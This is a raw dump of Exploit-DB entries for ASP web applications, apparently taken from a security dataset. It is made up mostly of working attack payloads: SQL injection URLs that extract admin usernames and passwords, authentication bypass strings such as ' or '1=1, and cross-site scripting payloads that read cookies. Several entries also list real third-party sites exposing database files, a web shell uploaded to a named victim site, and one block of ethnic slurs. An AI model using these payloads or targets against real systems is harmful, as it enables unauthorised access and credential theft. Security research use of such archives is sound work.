deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3062
Description: AutoDealer 2.0 - 'detail.asp?iPro' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-01
Author: ajann

Exploit:
*******************************************************************************
# Title   :  autoDealer <= 2.0 (iPro) Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://www.aspsiteware.com
# $$      :  $60.00

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//detail.asp?iPro=[SQL]

Example:

//detail.asp?iPro=-1%20union%20select%200,0,U_ACCESS,0%20from%20users
//detail.asp?iPro=-1%20union%20select%200,0,U_PASSWORD,0%20from%20users

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-01]
Exploit-DB #9328
Description: AW BannerAd - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-08-03
Author: Ro0T-MaFia

Exploit:
AW-BannerAd Login ByPass By JxE-13 [ Ro0T-MaFia ]

Sistema : AW-BannerAd,Asp Scripts
Archivo : adv/admin/index.asp
User&Pass:' or 'x'='x :' or 'x'='x 

# milw0rm.com [2009-08-03]
Exploit-DB #36139
Description: Ay Computer (Multiple Products) - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2011-09-17
Author: m3rciL3Ss

Exploit:
source: https://www.securityfocus.com/bid/49668/info

Multiple Ay Computer products are prone to multiple SQL-injection vulnerabilities because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/v1/urundetay.asp?id=21%28%29

http://www.example.com/v1/default.asp?getir=urunler&id=39%28%29

http://www.example.com/v1/linkler.asp?id=2%28%29

http://www.example.com/detay.asp?ilanid=8%28%29 [SQL]

http://www.example.com/kategoriler.asp?id=4%28%29 [SQL]

http://www.example.com/link.asp?page=referanslarimiz&id=2%28%29 [SQL]

http://www.example.com/?catid=23+union+select+0,1,2,3,4,5+from+admin
Exploit-DB #6720
Description: Ayco Okul Portali - 'linkid' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-10
Author: Crackers_Child

Exploit:
**************************************************************************************

Author : By Crackers_Child
Contact: cashr00t@hotmail.com
Greetz : milw0rm.com & tryag.cc & All My Friends
Note : Siz Pekeke Denen itler ; Siz ne turk ne de kurt olabilirsiniz. Siz Dupe Duz OROSPU cocuklarisiniz !

**************************************************************************************
Script   : Ayco Okul Portali (tr) Sql injection Vulnerability

http://www.aspindir.com/goster/5640

Price    : 100 â‚¬

**************************************************************************************

Exploit : default.asp?tip=sollinkicerik&linkid=1+union+select+0,password,username,3+from+admin

**************************************************************************************
N0te : Zeh1r Oluyor Gâ‚¬câ‚¬lâ‚¬r 1nan Uyuyam1yorum !
**************************************************************************************

# milw0rm.com [2008-10-10]
Exploit-DB #7665
Description: Ayemsis Emlak Pro - 'acc.mdb' Database Disclosure
Type: webapps
Platform: asp
Date: 2009-01-05
Author: ByALBAYX

Exploit:
###########################################################################
#---------C4TEAM.ORG------------ByALBAYX------------C4TEAM.ORG------------#
###########################################################################

#Author   : ByALBAYX

#Website  : WWW.C4TEAM.ORG

#Contact  : Byalbayx[At]Gmail[Dot]Com

###########################################################################
Ayemsis Emlak Pro (acc.mdb) Database Disclosure Vulnerability

#Script        : Ayemsis Emlak Pro
#Download  : Null
#Dork         : Ayemsis Emlak Pro
#Demo       :

http://www.caliemlak.com/Pack/bad/acc.mdb

http://www.kameraemlak.com/Pack/bad/acc.mdb

http://www.seferihisaremlakrehberi.com/Pack/bad/acc.mdb

http://www.emlakgezegeni.com/Pack/bad/acc.mdb

http://www.favorigayrimenkul.com/Pack/bad/acc.mdb

http://www.agmestate.com/Pack/bad/acc.mdb

http://www.boran-emlak.com/Pack/bad/acc.mdb

http://www.nominalemlak.com/Pack/bad/acc.mdb

http://www.gunesemlak.net/Pack/bad/acc.mdb

http://www.favorigayrimenkul.com/Pack/bad/acc.mdb

http://www.aydanbilisim.com.tr/Demo/EmlakPro/Pack/bad/acc.mdb

http://www.boran-emlak.com/Pack/bad/acc.mdb

http://agmestate.com/Pack/bad/acc.mdb

http://www.mobilrealestate.net/Pack/bad/acc.mdb


###########################################################################

#Exploits :

#--=[DATABASE DISCLOSURE]=--

http://www.siteadi.com/[PATH]/Pack/bad/acc.mdb

#Admin Login

#http://www.siteadi.com/[PATH]/panel/Login.asp

[~]Ä°ÅŸinize BaqÄ±n :=)

#Greetz For Kralz & Silent & B~S & C4team.OrG Members
###########################################################################

# milw0rm.com / Str0ke

# milw0rm.com [2009-01-05]
Exploit-DB #7666
Description: Ayemsis Emlak Pro - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-01-05
Author: ByALBAYX

Exploit:
Ayemsis Emlak Pro(Auth Bypass) SQL Injection Vulnerability

#############################################
[~]Autor: ByALBAYX

[~]E-mail: byalbayx@gmail.com

[~]Site: Www.C4TEAM.ORG

[~]Dork :

[~]Exploit:

[~]Y횄쩌r횄쩌 /[path]/panel/Login.asp


[~]username  : ' or '1=1

[~]password  : ' or '1=1

횆째횇타inize Baq횆짹n :=)

# milw0rm.com
#############################################

# milw0rm.com [2009-01-05]
Exploit-DB #10776
Description: BaalASP 2.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : BaalASP 2.0 DB Download Vulnerability                                   |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : BaalASP 2.0                                                             |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/BaalASP/database/baalsmartform.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #8379
Description: Back-End CMS 5.0 - 'main.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2009-04-09
Author: AnGeL25dZ

Exploit:
************************************************************
** 	BackendCMS Version 5.0 SQl Injection
************************************************************
**  Prodcut:		BackendCMS Version 5.0  
**  Home   : 		http://www.backendcms.dk/
**  Vunlerability :	SQL Injection 
**  Dork : 		find it yourself
**			
************************************************************
** Discovred by:	AnGeL25dZ
** Contact     : 	angel25dz@gmail.com	
** *********************************************************
** Greetz to :	 ALLAH 
**		 All Members of HackTeach
**		 All Members of http://islam-attack.com
**		 ra3ch and all my friends ...MOC 
** 		 
*************************************************************
******************** SQL Injection **************************
************************************************************* 
** Exploit:  http://[PATH]/main.asp?id=-1+union+all+select+1,2,brugernavn,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19+from+user
**  
** Administration Login : http://[path]/admin/
** PS: the number of columns can be different from one site to another
**  
****************************************************************
** Live demo : http://www.backendcms.dk/main.asp?id=-1+union+all+select+1,2,brugernavn,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19+from+user

# milw0rm.com [2009-04-09]
Exploit-DB #32500
Description: Bahar Download Script 2.0 - 'aspkat.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2008-10-21
Author: CyberGrup Lojistik

Exploit:
source: https://www.securityfocus.com/bid/31852/info

Bahar Download Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Bahar Download Script 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/aspkat.asp?kid=-2%20union%20select%200,kullanici,parola,3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20admin%20where%20id=1
Exploit-DB #32797
Description: Banking@Home 2.1 - 'login.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2009-02-10
Author: Francesco Bianchino

Exploit:
source: https://www.securityfocus.com/bid/33721/info

Banking@Home is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Banking@Home 2.1 is vulnerable; other versions may also be affected.

http://www.example.com/document_root/Login.asp?LoginName='Some_SQL_Stuff&[CREDENTIAL_REDACTED]=Login
Exploit-DB #7120
Description: Bankoi Webhost Panel 1.20 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-11-14
Author: R3d-D3V!L

Exploit:
[~] Bankoi Webhost Panel 1.20 (Auth Bypass)
[~]
[~] ----------------------------------------------------------
[~] author: R3d-D3v!L
[~]
[~] Date: 15.11.2008
[~]
[~] Home: www.ahacker.net
[~]
[~] contact: N/A
[~]
[~] -----------------------------------------------------------


[~] Exploit:

username: r0' or ' 1=1--
password: r0' or ' 1=1--


[~] admin login for demo:

http://demo.webhost-panel.com:8077/login.asp

username: r0' or ' 1=1--
password: r0' or ' 1=1--

[~]--------------------------------------------------------------------------------
[~] Greetz tO:dolly & maxmos & hesham_hacker & m4n0n & k374 & hi4alex & xp10_hacker
[~]
[~] xp10.biz & ahacker.net
[~]
[~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-14]
Exploit-DB #7425
Description: Banner Exchange Java - Authentication Bypass
Type: webapps
Platform: asp
Date: 2008-12-11
Author: R3d-D3V!L

Exploit:
[â˜¢] â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢{Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…}â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢â˜¢

 [~]Tybe:(Auth Bypass) Remote SQL Injection Vulnerability
   
 [~]Vendor: www.adserversolutions.com
   
 [~]Software: Banner Exchange Java 
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~]â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ {R0}â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ â˜ 
   
 [~] Exploit:
   
 [~] username: r0' or ' 1=1--
 [~] password: r0' or ' 1=1--
   
   
 [â˜ ]login 4 d3m0:
   
  www.adservingsolutions.com/xchange_java/logon_license.jsp
 
 [~]-----------------------------{str0ke}---------------------------------------------------
 
  [~] Greetz tO: {str0ke} & maxmos & EV!L KS@ & hesham_hacker & K374 & /\/\4/\/0/\/
  [~]
  [~] spechial thanks : dolly & 7am3m & EL z0hery & BLACK R053 &{str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-12-11]
Exploit-DB #8048
Description: Baran CMS 1.0 - 'Arbitrary '.ASP' File Upload / File Disclosure / SQL Injection / Cross-Site Scripting / Cookie Manipulation
Type: webapps
Platform: asp
Date: 2009-02-12
Author: Aria-Security Team

Exploit:
#########################################################################################
[0x01] Informations :
Name    : Baran Cms
Version : 1.0 (Personal)
site       : http://www.baran-cms.ir
$$         : 50$
Vul        : (Arbitrary ASP File Upload/DB/SQL/XSS/CM)
Credit    : Aria-Security Team
Website : http://Aria-Security.Net
Contact : Pouya.s3rver@Gmail.com
#########################################################################################
[0x02] Arbitrary ASP File Upload :
http://site.ir/upadmini/DEMO.asp
Up to System
shell uploaded in : http://site.ir/upadmini/Uploads/[Name.asp]
example             : http://www.zenyan.ir/upadmini/Uploads/sh3ller.asp
------------------------------------------------------------
[0x03] Database backups :
The Latest generated Database's backups
http://site.ir/[Sitename]dbdb/[1.zip,2.zip,3.zip,n+1.zip !?!]
admin.mdb + db.mdb
admin.mdb :  Administrator Information
db.mdb       :  data file
------------------------------------------------------------
[0x04] SQL :
http://site.ir/main/default.asp?CatId=[SQL]
------------------------------------------------------------
[0x05] XSS :
http://site.ir/main/default.asp?CatId=<ScrIpT>("Pouya_Server")</ScrIpT>
------------------------------------------------------------
[0x06] CM :
http://site.ir/main/default.asp?CatId=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
------------------------------------------------------------
Victem : http://www.zenyan.ir
########################################################################################
Special Thanks : The-0utl4w,AURA,Zac003,Sasan_4shir,Reza.exe,
                           black.Hat,Irsdl,T3rr0r1st,hadihadi,M0rt,Magic-Boy,Str0ke
                         Sc0rpion,Black.Shadowes,Ali_aria,bl2k,Tabalooga,Virangar,Pouya_Server
                           And All my Friend's

# milw0rm.com [2009-02-12]
Exploit-DB #26903
Description: Baseline CMS 1.95 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15961/info

Baseline CMS is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

A successful exploit could allow an attacker to compromise the application, access or modify data, exploit vulnerabilities in the underlying database, steal cookie-based authentication credentials, and launch other attacks. 

http://www.example.com/Page.asp?PageID=[XSS]
http://www.example.com/Page.asp?PageID=1&SiteNodeID=[XSS]
http://www.example.com/Page.asp?PageID=1&SiteNodeID=[SQL]
Exploit-DB #2848
Description: Basic Forum 1.1 - 'edit.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-25
Author: bolivar

Exploit:
# Title   :  basicforum v 1.1 (edit.asp) Remote SQL Injection Vulnerability
# Author  :  bolivar
# Dork    :  "This script created by www.script.canavari.com"

---------------------------------------------------------------------------

http://[target]/[path]/edit.asp?type=message&id=-1+union+select+kullanici,sifre+from+uyeler

---------------------------------------------------------------------------
# Just for Fun!!

# milw0rm.com [2006-11-25]
Exploit-DB #22529
Description: Battleaxe Software BTTLXE Forum - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2003-04-23
Author: Du|L

Exploit:
source: https://www.securityfocus.com/bid/7416/info

bttlxe Forum is a web-based discussion forum implemented in ASP.

An SQL injection vulnerability has been reported to affect the 'login.asp' page of bttlxe Forum.

The condition is reportedly due to insufficient sanitization of externally supplied data that is used to construct SQL queries. This data may be supplied via the 'password' field during the authentication process. The consequences may vary depending on the particular database implementation and the nature of the specific queries. One scenario reported was bypassing the bttlxe forum authentication system, however other attacks may also be possible.

Log into a vulnerable forum using the following password:
'or''='

A username is not required.
Exploit-DB #27310
Description: Battleaxe Software BttlxeForum 2.0 - 'Failure.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-02-25
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/16821/info

Battleaxe Software's bttlxeForum is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/forums/failure.asp?err_txt=<script>alert(document.cookie);</script>
Exploit-DB #33704
Description: BBSXP 2008 - 'ShowPost.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2010-03-04
Author: Liscker

Exploit:
source: https://www.securityfocus.com/bid/38542/info

BBSXP is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BBSXP 2008 is vulnerable; other versions may also be affected.

Home Page : http://www.bbsxp.com/


i found a xss on "ThreadID" parameter in "ShowPost.asp" in BBSXP 2008 , it&#039;s "ShowPost.asp?ThreadID="

for example:
http://www.example.com/ShowPost.asp?ThreadID=1"><script>alert(/Liscker/);</script>

We shouldnt encode the script, or, the xss will fail.




Liscker

2010.3.4
Exploit-DB #32748
Description: BBSXP 5.13 - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2009-01-23
Author: arashps0

Exploit:
source: https://www.securityfocus.com/bid/33411/info

BBSXP is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

BBSXP 5.13 and prior are vulnerable.

http://www.example.com/bbs/error.asp?message=xss
Exploit-DB #37121
Description: BBSXP CMS - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2012-04-27
Author: Farbod Mahini

Exploit:
source: https://www.securityfocus.com/bid/53298/info

BBSXP CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/ShowPost.asp?ThreadID=[SQL]
http://www.example.com/blog.asp?id=[SQL]
http://www.example.com/ShowForum.asp?ForumID=[SQL]
http://www.example.com/Profile.asp?UserName=[SQL]
http://www.example.com/print.asp?id=[SQL]
Exploit-DB #13846
Description: BDSMIS TraX with Payroll - SQL Injection
Type: webapps
Platform: asp
Date: 2010-06-12
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ###########################################       1
0                    I'm L0rd CrusAd3r member from Inj3ct0r Team       1
1                    ###########################################       0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:BDSMIS TraX with Payroll SQL Vulnerable
Code: ASP 3.0 & VBScript
Vendor url:http://bdsmis.com
Version:4.2
Price:89$
Published: 2010-06-1
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

#####################################################################################################################################################################################################

Description:

Manage Payroll and track leave/sickness-absence/travel. Manage all forms of
out of office notifications. Integrated time keeping systems/payroll
systems. Weeks/Month/Year Interface.


#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://[site]/content.asp?CatId=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #30424
Description: Berthanas Ziyaretci Defteri 2.0 - 'Yonetici.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-28
Author: Yollubunlar

Exploit:
source: https://www.securityfocus.com/bid/25109/info

Berthanas Ziyaretci Defteri is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Berthanas Ziyaretci Defteri 2.0 is affected; other versions may also be vulnerable. 

To demonstrate this issue, use the following string for both the username and password of the vulnerable script:

' OR '1'='1
Exploit-DB #36010
Description: BESNI OKUL PORTAL - 'sayfa.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2011-08-03
Author: Err0R

Exploit:
source: https://www.securityfocus.com/bid/48969/info

BESNI OKUL PORTAL is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/[PATH]/sayfa.asp?islem=1&AltKategoriNo=42&AltKategoriAdi=<script>alert(document.domain)</script>